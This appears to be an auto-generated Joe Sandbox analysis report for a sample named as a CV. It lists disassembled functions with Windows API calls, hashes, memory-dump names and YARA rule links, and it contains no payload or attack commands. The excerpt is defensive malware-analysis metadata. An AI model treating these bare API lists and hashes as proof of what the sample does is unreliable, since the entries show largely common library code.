                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: CloseCurrentHandleMessageObjectSingleThreadWait
                                                                  • String ID:
                                                                  • API String ID: 2880819207-0
                                                                  • Opcode ID: 564101af31640d347de0cb8c7610762a540830e2034b08faba276d9cb37ddf81
                                                                  • Instruction ID: 5b474a68261711e00979f5024c533b411afe44d75b4ee46efeefc42233b9da03
                                                                  • Opcode Fuzzy Hash: 564101af31640d347de0cb8c7610762a540830e2034b08faba276d9cb37ddf81
                                                                  • Instruction Fuzzy Hash: 531108B2A04244BFC7019B6CDC49A9E7BEDDB45714F144395F921E3361DE748D009BA4
                                                                  Function 00B54DF2 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE
                                                                  Download Yara Rule
                                                                  APIs
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: __cftoe_l__cftof_l__cftog_l__fltout2
                                                                  • String ID:
                                                                  • API String ID: 3016257755-0
                                                                  • Opcode ID: 3c6a35542a271610c24967ae1addb0a5128256cd46e27c9700edfec13bdc5c5a
                                                                  • Instruction ID: 7fcab6be5f7ba9802f66f0c0b6d9b8ce884fcfc571be18d51fd5da53ff425562
                                                                  • Opcode Fuzzy Hash: 3c6a35542a271610c24967ae1addb0a5128256cd46e27c9700edfec13bdc5c5a
                                                                  • Instruction Fuzzy Hash: A9017E3200018ABBCF165E84DC529EE3FA2FB18356B488495FE1859134D336CAB5AB81
                                                                  Function 00B47452 Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B47A0D: __getptd_noexit.LIBCMT ref: 00B47A0E
                                                                  • __lock.LIBCMT ref: 00B4748F
                                                                  • InterlockedDecrement.KERNEL32(?), ref: 00B474AC
                                                                  • _free.LIBCMT ref: 00B474BF
                                                                  • InterlockedIncrement.KERNEL32(0127C7F8), ref: 00B474D7
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Interlocked$DecrementIncrement__getptd_noexit__lock_free
                                                                  • String ID:
                                                                  • API String ID: 2704283638-0
                                                                  • Opcode ID: 8cafe5283e63bb758daab2b1602d63bb4fe95616fa459c81671f21960c02dd75
                                                                  • Instruction ID: 32321a319426e5b66be9261c64f3af32a60bf8a47290d73e35f71912806c34c1
                                                                  • Opcode Fuzzy Hash: 8cafe5283e63bb758daab2b1602d63bb4fe95616fa459c81671f21960c02dd75
                                                                  • Instruction Fuzzy Hash: 7001C03698A621ABCB12AF64984A76DBBE0FF05720F1540C6F81477790DF205B40EFC6
                                                                  Function 00B47A94 Relevance: 6.0, APIs: 4, Instructions: 41COMMONLIBRARYCODE
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • __lock.LIBCMT ref: 00B47AD8
                                                                    • Part of subcall function 00B47CF4: __mtinitlocknum.LIBCMT ref: 00B47D06
                                                                    • Part of subcall function 00B47CF4: EnterCriticalSection.KERNEL32(00000000,?,00B47ADD,0000000D), ref: 00B47D1F
                                                                  • InterlockedIncrement.KERNEL32(?), ref: 00B47AE5
                                                                  • __lock.LIBCMT ref: 00B47AF9
                                                                  • ___addlocaleref.LIBCMT ref: 00B47B17
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: __lock$CriticalEnterIncrementInterlockedSection___addlocaleref__mtinitlocknum
                                                                  • String ID:
                                                                  • API String ID: 1687444384-0
                                                                  • Opcode ID: e8f4b96ef1041aae4e3670600d0d09feec27ce3371e4e196a2b14caa89177044
                                                                  • Instruction ID: 2118bb47e5b44693e445d1af7db03e787318fb7d434011d662f4aaee8208c962
                                                                  • Opcode Fuzzy Hash: e8f4b96ef1041aae4e3670600d0d09feec27ce3371e4e196a2b14caa89177044
                                                                  • Instruction Fuzzy Hash: A0015772444B00AFD720DF75D94674ABBE0EF40321F20898EE49A976A1DFB0A680DB42
                                                                  Function 00B8E32E Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • _memset.LIBCMT ref: 00B8E33D
                                                                  • _memset.LIBCMT ref: 00B8E34C
                                                                  • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00BE3D00,00BE3D44), ref: 00B8E37B
                                                                  • CloseHandle.KERNEL32 ref: 00B8E38D
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: _memset$CloseCreateHandleProcess
                                                                  • String ID:
                                                                  • API String ID: 3277943733-0
                                                                  • Opcode ID: 64ee43de5eda1fd175a3effca60bb1c2658e683c109b5fe40a4162eb7490fdf3
                                                                  • Instruction ID: 1a26fe2475a84fae4bcf04e51dffb1c0a6f5c2443a52943697affc27c31d7cd6
                                                                  • Opcode Fuzzy Hash: 64ee43de5eda1fd175a3effca60bb1c2658e683c109b5fe40a4162eb7490fdf3
                                                                  • Instruction Fuzzy Hash: 7EF0BEF1500348BAE2002B61AC8AF773EDDDB05B10F0084B0BF09DB1A2DB719E0086A8
                                                                  Function 00B8EA6A Relevance: 6.0, APIs: 4, Instructions: 31COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B3AF83: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 00B3AFE3
                                                                    • Part of subcall function 00B3AF83: SelectObject.GDI32(?,00000000), ref: 00B3AFF2
                                                                    • Part of subcall function 00B3AF83: BeginPath.GDI32(?), ref: 00B3B009
                                                                    • Part of subcall function 00B3AF83: SelectObject.GDI32(?,00000000), ref: 00B3B033
                                                                  • MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00B8EA8E
                                                                  • LineTo.GDI32(00000000,?,?), ref: 00B8EA9B
                                                                  • EndPath.GDI32(00000000), ref: 00B8EAAB
                                                                  • StrokePath.GDI32(00000000), ref: 00B8EAB9
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
                                                                  • String ID:
                                                                  • API String ID: 1539411459-0
                                                                  • Opcode ID: f27b53f120c5da93c7ed999c8a80dd02460c15c056dcfe83355d0fe89ca83ad6
                                                                  • Instruction ID: 250e9a14f91d4c27cd6bed37007fdfb753af8f2ee0cb973e518e6890baddb485
                                                                  • Opcode Fuzzy Hash: f27b53f120c5da93c7ed999c8a80dd02460c15c056dcfe83355d0fe89ca83ad6
                                                                  • Instruction Fuzzy Hash: 04F08231005259BBDB22AF94AC0EFCE3F59AF07711F144141FA12660F1CB749652CB95
                                                                  Function 00B5C82D Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00B5C84A
                                                                  • GetWindowThreadProcessId.USER32(?,00000000), ref: 00B5C85D
                                                                  • GetCurrentThreadId.KERNEL32 ref: 00B5C864
                                                                  • AttachThreadInput.USER32(00000000), ref: 00B5C86B
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
                                                                  • String ID:
                                                                  • API String ID: 2710830443-0
                                                                  • Opcode ID: 939903322f3f5c986240bc962e4091493352ed2d518839970f1adbf6d9e09076
                                                                  • Instruction ID: fe40a6e31f246d0e8e9cac053c2df46bec48c644fbda722b5e2f3ab754e2d0dc
                                                                  • Opcode Fuzzy Hash: 939903322f3f5c986240bc962e4091493352ed2d518839970f1adbf6d9e09076
                                                                  • Instruction Fuzzy Hash: 79E065711413247ADB101F61DC0EFDB7F5CEF067A1F008051BA0E95850DAB1C984CBE0
                                                                  Function 00B5B0CD Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetCurrentThread.KERNEL32 ref: 00B5B0D6
                                                                  • OpenThreadToken.ADVAPI32(00000000,?,?,?,00B5AC9D), ref: 00B5B0DD
                                                                  • GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00B5AC9D), ref: 00B5B0EA
                                                                  • OpenProcessToken.ADVAPI32(00000000,?,?,?,00B5AC9D), ref: 00B5B0F1
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: CurrentOpenProcessThreadToken
                                                                  • String ID:
                                                                  • API String ID: 3974789173-0
                                                                  • Opcode ID: 63f9269c1f6030fdb7899cb813673cdc86a1dd61592e1378c564bdeba6e3b079
                                                                  • Instruction ID: 305d73c35898e035f5bf95afe1eded1b10859ca058b14d13fb09afca7583c51c
                                                                  • Opcode Fuzzy Hash: 63f9269c1f6030fdb7899cb813673cdc86a1dd61592e1378c564bdeba6e3b079
                                                                  • Instruction Fuzzy Hash: C5E08672601211ABD7201FB15C0EF473BE8EF56792F018858F643D7080DF348406C760
                                                                  Function 00B3B47D Relevance: 6.0, APIs: 4, Instructions: 22COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetSysColor.USER32(00000008), ref: 00B3B496
                                                                  • SetTextColor.GDI32(?,000000FF), ref: 00B3B4A0
                                                                  • SetBkMode.GDI32(?,00000001), ref: 00B3B4B5
                                                                  • GetStockObject.GDI32(00000005), ref: 00B3B4BD
                                                                  • GetWindowDC.USER32(?,00000000), ref: 00B9DE2B
                                                                  • GetPixel.GDI32(00000000,00000000,00000000), ref: 00B9DE38
                                                                  • GetPixel.GDI32(00000000,?,00000000), ref: 00B9DE51
                                                                  • GetPixel.GDI32(00000000,00000000,?), ref: 00B9DE6A
                                                                  • GetPixel.GDI32(00000000,?,?), ref: 00B9DE8A
                                                                  • ReleaseDC.USER32(?,00000000), ref: 00B9DE95
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
                                                                  • String ID:
                                                                  • API String ID: 1946975507-0
                                                                  • Opcode ID: 8b3d145a807ea49715b4c3d5c84c3f8bcbe1b48d053c297987bbaa053799b13e
                                                                  • Instruction ID: 1436b6d5b40cf66b2aa88d89c3af29731345dd3b52490e082726c5840116fc04
                                                                  • Opcode Fuzzy Hash: 8b3d145a807ea49715b4c3d5c84c3f8bcbe1b48d053c297987bbaa053799b13e
                                                                  • Instruction Fuzzy Hash: 22E06D31500240AEDF211F68AC0ABD83F51EB12335F10C66AF66A680E1CB714581CB11
                                                                  Function 00B9B29A Relevance: 6.0, APIs: 4, Instructions: 20COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: CapsDesktopDeviceReleaseWindow
                                                                  • String ID:
                                                                  • API String ID: 2889604237-0
                                                                  • Opcode ID: a2242211b4229345ec932a4a3774dbd58cc8446e30cd4769c0a2b722ee5bea01
                                                                  • Instruction ID: 31deb9f39e5814267453a360aa7f0904cd1235801f056b9e2dbc9f3783b4d942
                                                                  • Opcode Fuzzy Hash: a2242211b4229345ec932a4a3774dbd58cc8446e30cd4769c0a2b722ee5bea01
                                                                  • Instruction Fuzzy Hash: 6DE046B1500204EFDB005F74D889A2E7BE8EB4C350F22C85AFC5BCB610CF7498408B40
                                                                  Function 00B5B2D4 Relevance: 6.0, APIs: 4, Instructions: 20synchronizationCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00B5B2DF
                                                                  • UnloadUserProfile.USERENV(?,?), ref: 00B5B2EB
                                                                  • CloseHandle.KERNEL32(?), ref: 00B5B2F4
                                                                  • CloseHandle.KERNEL32(?), ref: 00B5B2FC
                                                                    • Part of subcall function 00B5AB24: GetProcessHeap.KERNEL32(00000000,?,00B5A848), ref: 00B5AB2B
                                                                    • Part of subcall function 00B5AB24: HeapFree.KERNEL32(00000000), ref: 00B5AB32
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
                                                                  • String ID:
                                                                  • API String ID: 146765662-0
                                                                  • Opcode ID: 2bd672e5690d7e4d785214e3a914dc948c27b9ef0a10ced8dc90a50b3bac1534
                                                                  • Instruction ID: ab60fc04a254a1bde8c0dff233f5c08db104bbaf133ba7966f2abd3e48943e3d
                                                                  • Opcode Fuzzy Hash: 2bd672e5690d7e4d785214e3a914dc948c27b9ef0a10ced8dc90a50b3bac1534
                                                                  • Instruction Fuzzy Hash: DFE0EC3A104005BFCF012FA5EC09859FFB6FF8A3213108621F62682971CF32A871EB95
                                                                  Function 00B9B2AE Relevance: 6.0, APIs: 4, Instructions: 19COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: CapsDesktopDeviceReleaseWindow
                                                                  • String ID:
                                                                  • API String ID: 2889604237-0
                                                                  • Opcode ID: d03b96abc39f244a6df5b88c4e660e3d97efa11ee4dfa22c071f24f80a31df94
                                                                  • Instruction ID: 235fa555f495203cce4557d207daf5c1b9e71566fba960fc644ccf48010b085c
                                                                  • Opcode Fuzzy Hash: d03b96abc39f244a6df5b88c4e660e3d97efa11ee4dfa22c071f24f80a31df94
                                                                  • Instruction Fuzzy Hash: B8E046B1500200EFDB005F74D84962D7BE8EB4D350F22C80AF95BCB610CF7898008B00
                                                                  Function 00B5DCDF Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 240comCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • OleSetContainedObject.OLE32(?,00000001), ref: 00B5DEAA
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: ContainedObject
                                                                  • String ID: AutoIt3GUI$Container
                                                                  • API String ID: 3565006973-3941886329
                                                                  • Opcode ID: 3d562c3f5d5a3126cb70d5359e29d8ff60ab5c8046f7a8f6ee39d5987e68febe
                                                                  • Instruction ID: d744206bad7844a1f207181d02684bb8adbead42980ab4f3870ccb1b3baed09d
                                                                  • Opcode Fuzzy Hash: 3d562c3f5d5a3126cb70d5359e29d8ff60ab5c8046f7a8f6ee39d5987e68febe
                                                                  • Instruction Fuzzy Hash: 32912570600701AFDB24DF64C885B6AB7F5EF49711F2085AEF84ACB691DB70E945CB60
                                                                  Function 00B3BCC9 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143sleepCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • Sleep.KERNEL32(00000000), ref: 00B3BCDA
                                                                  • GlobalMemoryStatusEx.KERNEL32 ref: 00B3BCF3
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: GlobalMemorySleepStatus
                                                                  • String ID: @
                                                                  • API String ID: 2783356886-2766056989
                                                                  • Opcode ID: 1cae423ac3c59e62167376a8bb42cba1c461e819aef81291a2f1dffdf083bf47
                                                                  • Instruction ID: 53c354ee1f77d1283f775fd36cec336f4ad5115518bc594a1cf5615b6f32c828
                                                                  • Opcode Fuzzy Hash: 1cae423ac3c59e62167376a8bb42cba1c461e819aef81291a2f1dffdf083bf47
                                                                  • Instruction Fuzzy Hash: DA5134714087449BE320AF14DC86BAFBBE8FF94354F51489EF5C8420A6EF7085AC8752
                                                                  Function 00B6C56D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B244ED: __fread_nolock.LIBCMT ref: 00B2450B
                                                                  • _wcscmp.LIBCMT ref: 00B6C65D
                                                                  • _wcscmp.LIBCMT ref: 00B6C670
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: _wcscmp$__fread_nolock
                                                                  • String ID: FILE
                                                                  • API String ID: 4029003684-3121273764
                                                                  • Opcode ID: a9eff1833202e26f25718dc2cc2865c697e94cfd1de6fb85235094c68aa862cc
                                                                  • Instruction ID: 5ae42f2b006e6d8ceb355ab0bbf3427756918c8367b7a426f9e6c39d1dcea9a4
                                                                  • Opcode Fuzzy Hash: a9eff1833202e26f25718dc2cc2865c697e94cfd1de6fb85235094c68aa862cc
                                                                  • Instruction Fuzzy Hash: 4341D672A0021ABADF10ABA4DC41FEF7BF9EF49714F0004A9F615E7181DB749A058B65
                                                                  Function 00B8A76A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SendMessageW.USER32(?,00001132,00000000,?), ref: 00B8A85A
                                                                  • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00B8A86F
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend
                                                                  • String ID: '
                                                                  • API String ID: 3850602802-1997036262
                                                                  • Opcode ID: b1d5269418a381f6de725452f7ae0164486855f0f14663f8a5c81c46bf235ffe
                                                                  • Instruction ID: c993d96a67b9dd2d89816f329d766aeeef197df5c22d34bf96f8c5b25efe3dcd
                                                                  • Opcode Fuzzy Hash: b1d5269418a381f6de725452f7ae0164486855f0f14663f8a5c81c46bf235ffe
